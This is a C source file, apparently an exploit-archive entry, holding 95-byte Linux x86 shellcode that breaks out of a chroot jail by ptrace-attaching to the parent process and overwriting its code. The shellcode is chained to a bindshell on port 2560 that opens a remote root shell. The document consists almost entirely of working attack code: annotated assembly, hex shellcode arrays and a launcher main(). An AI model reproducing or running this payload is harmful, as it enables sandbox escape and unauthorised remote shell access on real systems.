1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
|
/*
ptrace-chrootbreak shellcode, 95 bytes
Since 2.4.14 kernel, linus stopped playing dir tricks
to leave chroot()-ed area. However, mknod() and ptrace()
can be still used to do so.
Algo:
1. Try to regain uid/euid/gid/egid = 0, for case
that CAP_SYS_PTRACE is dropped. Also block
all signals, because some daemons would like
to die after SIGCHLD/SIGTRAP being received.
2. Try attach to parent process in hope that
it is outside chroot(), if failed to do so,
we should be top process, so execute final shellcode.
3. Get EIP of parent, and through PTRACE_POKETEXT
overwrite .text of parent with our own copy
at EIP location.
4. Detach from parent and let it run our code from
step 1. Current process will exit().
By that way, we'll follow execution tree, so it should
work from any depth. Final shellcode will be executed
in case of error (i.e. ppid == 1) from the thread at the
top of process tree, which will be with some opportunity
outside chroot. Whoa.
However, this cannot be used against local execve,
because we're losing TTY. You need to use
some bind/connect dup()-ing shellcode.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BINDPORT 2560
/*
asm("
.data
.p2align 0
.align 0
ptrace_break:
jmp jumpover
getdelta:
# setreuid(0, 0) & setregid(0, 0) ... just to be sure :)
pushl $70
popl %eax
xorl %ebx, %ebx
xorl %ecx, %ecx
int $0x80
mov $71, %al
int $0x80
# ignore all signals, because some daemons
# tends to do some odd stuff after SIGCHLD being received
mov $69, %al
dec %ebx
int $0x80
# getppid
pushl $64
popl %eax
int $0x80
xchg %eax, %ecx
# try attach
mov $26, %al
pushl $0x10
popl %ebx
int $0x80
test %eax, %eax
jnz scode
waitforthing:
pushal
movb $7, %al
movl %ecx, %ebx
xorl %ecx, %ecx
pushl $2
popl %edx
int $0x80
popal
# get eip of parent
getregs:
popl %edi
pushl %eax
movl %esp, %esi
mov $26, %al
mov $3, %bl
pushl $12*4
popl %edx
int $0x80
popl %edx
# well, now do some little harm; put us
# at parent's eip :)
.byte 0x83, 0xef # subl $(scode-ptrace_break), %edi
.byte (scode-ptrace_break)
movb $4, %bl
fuck_parent:
movb $26, %al
movl (%edi), %esi
int $0x80
incl %edi
incl %edx
shl $24, %esi
jnz fuck_parent
# detach and wake up parent
# (data - %esi is always zero)
detachthing:
mov $26, %al
movb $0x11, %bl
int $0x80
inc %eax
int $0x80
jumpover:
call getdelta
scode:
.byte 0
");
extern void ptrace_break();
extern void ptrace_break_end();
extern unsigned char wport[2];
*/
/* our ptrace-break shellcode */
unsigned char cbreak[] =
"\xeb\x58\x6a\x46\x58\x31\xdb\xcd\x80\xb0\x47\xcd\x80\xb0\x45\x4b"
"\xcd\x80\x6a\x40\x58\xcd\x80\x91\x6a\x1a\x58\x6a\x10\x5b\xcd\x80"
"\x85\xc0\x75\x3b\x60\xb0\x07\x89\xcb\x31\xc9\x6a\x02\x5a\xcd\x80"
"\x61\x5f\x50\x89\xe6\xb0\x1a\xb3\x03\x6a\x30\x5a\xcd\x80\x5a\x83"
"\xef\x5f\xb3\x04\xb0\x1a\x8b\x37\xcd\x80\x47\x42\xc1\xe6\x18\x75"
"\xf3\xb0\x1a\xb3\x11\xcd\x80\x40\xcd\x80\xe8\xa3\xff\xff\xff";
/* classic bindshell */
unsigned char bind[84] =
"\x6a\x66\x58\x31\xdb\x53\x43\x53"
"\x6a\x02\x89\xe1\xcd\x80\x43\x31"
"\xc9\x51\xb5\x0a\x0f\xc9\x09\xd9" /* 0x0a * 256 = port 2560 */
"\x51\x89\xe6\x6a\x10\x56\x50\x6a"
"\x66\x58\x89\xe1\xcd\x80\xb0\x66"
"\x43\x43\xcd\x80\x89\x64\x24\x08"
"\xb0\x66\x43\xcd\x80\x93\x91\x6a"
"\x3f\x58\xcd\x80\x49\x79\xf8\x50"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x50\x53\x89\xe1"
"\xb0\x0b\xcd\x80";
int main()
{
char buf[512];
void (*breakchroot)() = (void *) buf;
/* setup port to bind */
bind[19] = BINDPORT / 256;
/* build resulting code */
sprintf(buf, "%s%s", cbreak, bind);
printf( "chroot break code length ... %d\n"
"portshell code length ...... %d\n"
"total shellcode length ..... %d\n",
strlen(cbreak), strlen(bind), strlen(buf));
printf( "\nNow, we'll execute shellcode\n"
"Note that your current tty/remote session will\n"
"be lost.\n"
"Portshell will be at port %d\n"
"Hit enter to continue, ^C to break\n", BINDPORT & ~0xff);
getchar();
breakchroot();
/* NOT REACHED */
return 0;
}
|